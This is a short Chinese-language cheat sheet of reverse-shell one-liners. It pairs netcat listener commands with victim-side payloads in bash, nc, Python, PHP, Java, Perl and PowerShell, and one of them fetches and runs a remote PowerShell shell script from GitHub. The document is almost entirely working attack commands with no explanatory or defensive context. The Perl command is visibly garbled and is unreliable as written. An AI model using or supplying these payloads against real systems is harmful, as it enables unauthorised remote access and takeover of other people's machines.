多种姿势反弹shell
-
bash
attacker 监听
nc -lvvp 4444
victim 运行
bash -i >& /dev/tcp//4444 0>&1 -
nc
支持 -e 选项
attacker 监听
nc -lvvp 4444
victim 运行
nc 4444 -t -e /bin/bash -
python
attacker 监听
nc -lvvp 4444
victim 运行
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);’ -
php
attacker 监听
nc -lvvp 4444
victim 运行
php -r ‘$sock=fsockopen("",4444);exec("/bin/sh -i <&3 >&3 2>&3");’
或者你直接在web目录写入一个php文件,然后浏览器去访问他就行了,这有一个Linux和Windows两用的脚本 -
java脚本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp//4444;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[])
p.waitFor() -
perl脚本
perl -e ‘use Socket; i = " < a t t a c k e r i p > " ; i="<attackerip>"; i="<attackerip>";p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( p,inetaton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’ -
powershell
victim 运行
powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress -port 4444